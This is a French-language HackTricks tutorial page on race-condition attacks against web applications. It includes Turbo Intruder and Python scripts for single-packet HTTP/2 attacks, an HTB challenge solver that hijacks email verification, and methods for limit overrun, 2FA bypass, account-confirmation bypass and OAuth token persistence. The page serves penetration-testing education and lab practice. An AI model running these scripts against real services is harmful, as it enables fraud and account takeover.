Condition de Course
Reading time: 15 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
warning
Pour obtenir une compréhension approfondie de cette technique, consultez le rapport original sur https://portswigger.net/research/smashing-the-state-machine
Amélioration des Attaques par Condition de Course
Le principal obstacle pour tirer parti des conditions de course est de s'assurer que plusieurs requĂȘtes sont traitĂ©es en mĂȘme temps, avec trĂšs peu de diffĂ©rence dans leurs temps de traitementâidĂ©alement, moins de 1ms.
Ici, vous pouvez trouver quelques techniques pour Synchroniser les RequĂȘtes :
Attaque Ă Paquet Unique HTTP/2 vs. Synchronisation du Dernier Octet HTTP/1.1
- HTTP/2 : Prend en charge l'envoi de deux requĂȘtes sur une seule connexion TCP, rĂ©duisant l'impact du jitter rĂ©seau. Cependant, en raison des variations cĂŽtĂ© serveur, deux requĂȘtes peuvent ne pas suffire pour une exploitation cohĂ©rente de la condition de course.
- HTTP/1.1 'Synchronisation du Dernier Octet' : Permet l'envoi prĂ©alable de la plupart des parties de 20-30 requĂȘtes, en retenant un petit fragment, qui est ensuite envoyĂ© ensemble, atteignant simultanĂ©ment le serveur.
Préparation pour la Synchronisation du Dernier Octet implique :
- Envoyer les en-tĂȘtes et les donnĂ©es du corps moins le dernier octet sans terminer le flux.
- Faire une pause de 100ms aprĂšs l'envoi initial.
- DĂ©sactiver TCP_NODELAY pour utiliser l'algorithme de Nagle pour regrouper les derniers trames.
- Pinger pour réchauffer la connexion.
L'envoi subséquent des trames retenues devrait aboutir à leur arrivée dans un seul paquet, vérifiable via Wireshark. Cette méthode ne s'applique pas aux fichiers statiques, qui ne sont généralement pas impliqués dans les attaques RC.
S'adapter Ă l'Architecture du Serveur
Comprendre l'architecture de la cible est crucial. Les serveurs frontaux peuvent router les requĂȘtes diffĂ©remment, affectant le timing. Le rĂ©chauffement prĂ©ventif de la connexion cĂŽtĂ© serveur, Ă travers des requĂȘtes sans consĂ©quence, pourrait normaliser le timing des requĂȘtes.
Gestion du Verrouillage Basé sur la Session
Des frameworks comme le gestionnaire de session de PHP sĂ©rialisent les requĂȘtes par session, obscurcissant potentiellement les vulnĂ©rabilitĂ©s. Utiliser diffĂ©rents jetons de session pour chaque requĂȘte peut contourner ce problĂšme.
Surmonter les Limites de Taux ou de Ressources
Si le rĂ©chauffement de la connexion est inefficace, dĂ©clencher intentionnellement les dĂ©lais de limites de taux ou de ressources des serveurs web Ă travers un flot de requĂȘtes fictives pourrait faciliter l'attaque Ă paquet unique en induisant un dĂ©lai cĂŽtĂ© serveur propice aux conditions de course.
Exemples d'Attaque
- Tubo Intruder - attaque Ă paquet unique HTTP2 (1 point de terminaison) : Vous pouvez envoyer la requĂȘte Ă Turbo intruder (
Extensions
->Turbo Intruder
->Send to Turbo Intruder
), vous pouvez changer dans la requĂȘte la valeur que vous souhaitez forcer pour%s
comme danscsrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s
et ensuite sélectionner leexamples/race-single-packer-attack.py
dans le menu déroulant :
.png)
Si vous allez envoyer différentes valeurs, vous pourriez modifier le code avec celui-ci qui utilise une liste de mots depuis le presse-papiers :
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
warning
Si le web ne prend pas en charge HTTP2 (uniquement HTTP1.1), utilisez Engine.THREADED
ou Engine.BURP
au lieu de Engine.BURP2
.
- Tubo Intruder - attaque Ă paquet unique HTTP2 (Plusieurs points de terminaison) : Dans le cas oĂč vous devez envoyer une requĂȘte Ă 1 point de terminaison puis plusieurs Ă d'autres points de terminaison pour dĂ©clencher le RCE, vous pouvez modifier le script
race-single-packet-attack.py
avec quelque chose comme :
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
- Il est Ă©galement disponible dans Repeater via la nouvelle option 'Envoyer le groupe en parallĂšle' dans Burp Suite.
- Pour limit-overrun, vous pourriez simplement ajouter la mĂȘme requĂȘte 50 fois dans le groupe.
- Pour connection warming, vous pourriez ajouter au dĂ©but du groupe quelques requĂȘtes vers une partie non statique du serveur web.
- Pour delaying le processus entre le traitement d'une requĂȘte et une autre en 2 Ă©tapes substantielles, vous pourriez ajouter des requĂȘtes supplĂ©mentaires entre les deux requĂȘtes.
- Pour un RC multi-endpoint, vous pourriez commencer Ă envoyer la requĂȘte qui va Ă l'Ă©tat cachĂ© et ensuite 50 requĂȘtes juste aprĂšs qui exploite l'Ă©tat cachĂ©.
.png)
- Script python automatisĂ© : L'objectif de ce script est de changer l'email d'un utilisateur tout en le vĂ©rifiant continuellement jusqu'Ă ce que le token de vĂ©rification du nouvel email arrive Ă l'ancien email (c'est parce que dans le code, il voyait un RC oĂč il Ă©tait possible de modifier un email mais d'avoir la vĂ©rification envoyĂ©e Ă l'ancien car la variable indiquant l'email Ă©tait dĂ©jĂ peuplĂ©e avec le premier).
Lorsque le mot "objetivo" est trouvé dans les emails reçus, nous savons que nous avons reçu le token de vérification de l'email changé et nous mettons fin à l'attaque.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
# change these headers
headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
host = "94.237.56.46"
puerto =39697
url = "https://"+host+":"+str(puerto)+"/email/"
response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
Amélioration de l'attaque par paquet unique
Dans la recherche originale, il est expliquĂ© que cette attaque a une limite de 1 500 octets. Cependant, dans ce post, il a Ă©tĂ© expliquĂ© comment il est possible d'Ă©tendre la limitation de 1 500 octets de l'attaque par paquet unique Ă la limitation de fenĂȘtre de 65 535 B de TCP en utilisant la fragmentation au niveau IP (en divisant un seul paquet en plusieurs paquets IP) et en les envoyant dans un ordre diffĂ©rent, ce qui a permis d'empĂȘcher le rĂ©assemblage du paquet jusqu'Ă ce que tous les fragments atteignent le serveur. Cette technique a permis au chercheur d'envoyer 10 000 requĂȘtes en environ 166 ms.
Notez que bien que cette amĂ©lioration rende l'attaque plus fiable dans les RC qui nĂ©cessitent que des centaines/milliers de paquets arrivent en mĂȘme temps, elle peut Ă©galement avoir certaines limitations logicielles. Certains serveurs HTTP populaires comme Apache, Nginx et Go ont un paramĂštre strict SETTINGS_MAX_CONCURRENT_STREAMS
de 100, 128 et 250. Cependant, d'autres comme NodeJS et nghttp2 l'ont illimité.
Cela signifie essentiellement qu'Apache ne considérera que 100 connexions HTTP à partir d'une seule connexion TCP (limitant ainsi cette attaque RC).
Vous pouvez trouver quelques exemples utilisant cette technique dans le dépÎt https://github.com/Ry0taK/first-sequence-sync/tree/main.
Raw BF
Avant la recherche précédente, voici quelques charges utiles utilisées qui essayaient simplement d'envoyer les paquets aussi rapidement que possible pour provoquer une RC.
- Répéteur : Consultez les exemples de la section précédente.
- Intrus : Envoyez la requĂȘte Ă Intrus, dĂ©finissez le nombre de threads Ă 30 dans le menu Options et sĂ©lectionnez comme charge utile Null payloads et gĂ©nĂ©rez 30.
- Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
- Python - asyncio
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
MĂ©thodologie RC
Limite-dépassement / TOCTOU
C'est le type de condition de course le plus basique oĂč les vulnĂ©rabilitĂ©s apparaissent dans des endroits qui limitent le nombre de fois que vous pouvez effectuer une action. Comme utiliser le mĂȘme code de rĂ©duction dans un magasin en ligne plusieurs fois. Un exemple trĂšs simple peut ĂȘtre trouvĂ© dans ce rapport ou dans ce bug.
Il existe de nombreuses variations de ce type d'attaque, y compris :
- Ăchanger une carte-cadeau plusieurs fois
- Ăvaluer un produit plusieurs fois
- Retirer ou transférer de l'argent en excÚs de votre solde de compte
- RĂ©utiliser une seule solution CAPTCHA
- Contourner une limite de taux anti-brute-force
Sous-états cachés
Exploiter des conditions de course complexes implique souvent de tirer parti d'opportunités brÚves pour interagir avec des sous-états machine cachés ou non intentionnels. Voici comment procéder :
- Identifier les sous-états cachés potentiels
- Commencez par identifier les points de terminaison qui modifient ou interagissent avec des données critiques, telles que les profils d'utilisateur ou les processus de réinitialisation de mot de passe. Concentrez-vous sur :
- Stockage : Préférez les points de terminaison qui manipulent des données persistantes cÎté serveur plutÎt que celles qui gÚrent des données cÎté client.
- Action : Recherchez des opérations qui modifient des données existantes, qui sont plus susceptibles de créer des conditions exploitables par rapport à celles qui ajoutent de nouvelles données.
- ClĂ© : Les attaques rĂ©ussies impliquent gĂ©nĂ©ralement des opĂ©rations basĂ©es sur le mĂȘme identifiant, par exemple, le nom d'utilisateur ou le jeton de rĂ©initialisation.
- Effectuer un premier sondage
- Testez les points de terminaison identifiés avec des attaques de condition de course, en observant toute déviation par rapport aux résultats attendus. Des réponses inattendues ou des changements dans le comportement de l'application peuvent signaler une vulnérabilité.
- Démontrer la vulnérabilité
- RĂ©duisez l'attaque au nombre minimal de requĂȘtes nĂ©cessaires pour exploiter la vulnĂ©rabilitĂ©, souvent juste deux. Cette Ă©tape peut nĂ©cessiter plusieurs tentatives ou de l'automatisation en raison du timing prĂ©cis impliquĂ©.
Attaques sensibles au temps
La prĂ©cision dans le timing des requĂȘtes peut rĂ©vĂ©ler des vulnĂ©rabilitĂ©s, surtout lorsque des mĂ©thodes prĂ©visibles comme les horodatages sont utilisĂ©es pour les jetons de sĂ©curitĂ©. Par exemple, gĂ©nĂ©rer des jetons de rĂ©initialisation de mot de passe basĂ©s sur des horodatages pourrait permettre d'obtenir des jetons identiques pour des requĂȘtes simultanĂ©es.
Pour exploiter :
- Utilisez un timing prĂ©cis, comme une attaque par paquet unique, pour effectuer des requĂȘtes de rĂ©initialisation de mot de passe simultanĂ©es. Des jetons identiques indiquent une vulnĂ©rabilitĂ©.
Exemple :
- Demandez deux jetons de rĂ©initialisation de mot de passe en mĂȘme temps et comparez-les. Des jetons correspondants suggĂšrent un dĂ©faut dans la gĂ©nĂ©ration de jetons.
VĂ©rifiez ce PortSwigger Lab pour essayer cela.
Ătudes de cas sur les sous-Ă©tats cachĂ©s
Payer & ajouter un article
Vérifiez ce PortSwigger Lab pour voir comment payer dans un magasin et ajouter un article supplémentaire que vous n'aurez pas besoin de payer.
Confirmer d'autres e-mails
L'idĂ©e est de vĂ©rifier une adresse e-mail et de la changer en une autre en mĂȘme temps pour dĂ©couvrir si la plateforme vĂ©rifie la nouvelle adresse modifiĂ©e.
Changer l'e-mail en 2 adresses e-mail basées sur des cookies
Selon cette recherche, Gitlab était vulnérable à une prise de contrÎle de cette maniÚre car il pourrait envoyer le jeton de vérification d'e-mail d'une adresse à l'autre.
VĂ©rifiez ce PortSwigger Lab pour essayer cela.
Ătats de base de donnĂ©es cachĂ©s / Contournement de confirmation
Si 2 Ă©critures diffĂ©rentes sont utilisĂ©es pour ajouter des informations dans une base de donnĂ©es, il y a une petite portion de temps oĂč seules les premiĂšres donnĂ©es ont Ă©tĂ© Ă©crites dans la base de donnĂ©es. Par exemple, lors de la crĂ©ation d'un utilisateur, le nom d'utilisateur et le mot de passe peuvent ĂȘtre Ă©crits et ensuite le jeton pour confirmer le compte nouvellement crĂ©Ă© est Ă©crit. Cela signifie que pendant un court laps de temps, le jeton pour confirmer un compte est nul.
Par consĂ©quent, enregistrer un compte et envoyer plusieurs requĂȘtes avec un jeton vide (token=
ou token[]=
ou toute autre variation) pour confirmer le compte immĂ©diatement pourrait permettre de confirmer un compte oĂč vous ne contrĂŽlez pas l'e-mail.
VĂ©rifiez ce PortSwigger Lab pour essayer cela.
Contournement de 2FA
Le pseudo-code suivant est vulnérable à une condition de course car pendant un trÚs court laps de temps, le 2FA n'est pas appliqué pendant que la session est créée :
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
OAuth2 persistance Ă©ternelle
Il existe plusieurs fournisseurs OAUth. Ces services vous permettront de créer une application et d'authentifier les utilisateurs que le fournisseur a enregistrés. Pour ce faire, le client devra permettre à votre application d'accéder à certaines de ses données à l'intérieur du fournisseur OAUth.
Donc, jusqu'ici, c'est juste une connexion classique avec google/linkedin/github... oĂč vous ĂȘtes invitĂ© avec une page disant : "L'application <InsertCoolName> souhaite accĂ©der Ă vos informations, voulez-vous l'autoriser ?"
Condition de course dans authorization_code
Le problĂšme apparaĂźt lorsque vous l'acceptez et envoie automatiquement un authorization_code
à l'application malveillante. Ensuite, cette application abuse d'une Condition de course dans le fournisseur de service OAUth pour générer plus d'un AT/RT (Token d'authentification/Token de rafraßchissement) à partir du authorization_code
pour votre compte. En gros, elle va abuser du fait que vous avez acceptĂ© l'application pour accĂ©der Ă vos donnĂ©es afin de crĂ©er plusieurs comptes. Ensuite, si vous arrĂȘtez de permettre Ă l'application d'accĂ©der Ă vos donnĂ©es, une paire d'AT/RT sera supprimĂ©e, mais les autres resteront valides.
Condition de course dans Refresh Token
Une fois que vous avez obtenu un RT valide, vous pourriez essayer de l'abuser pour gĂ©nĂ©rer plusieurs AT/RT et mĂȘme si l'utilisateur annule les autorisations pour l'application malveillante d'accĂ©der Ă ses donnĂ©es, plusieurs RT resteront valides.
RC dans WebSockets
Dans WS_RaceCondition_PoC, vous pouvez trouver un PoC en Java pour envoyer des messages websocket en parallĂšle afin d'abuser des Conditions de course Ă©galement dans les Web Sockets.
Références
- https://hackerone.com/reports/759247
- https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html
- https://hackerone.com/reports/55140
- https://portswigger.net/research/smashing-the-state-machine
- https://portswigger.net/web-security/race-conditions
- https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.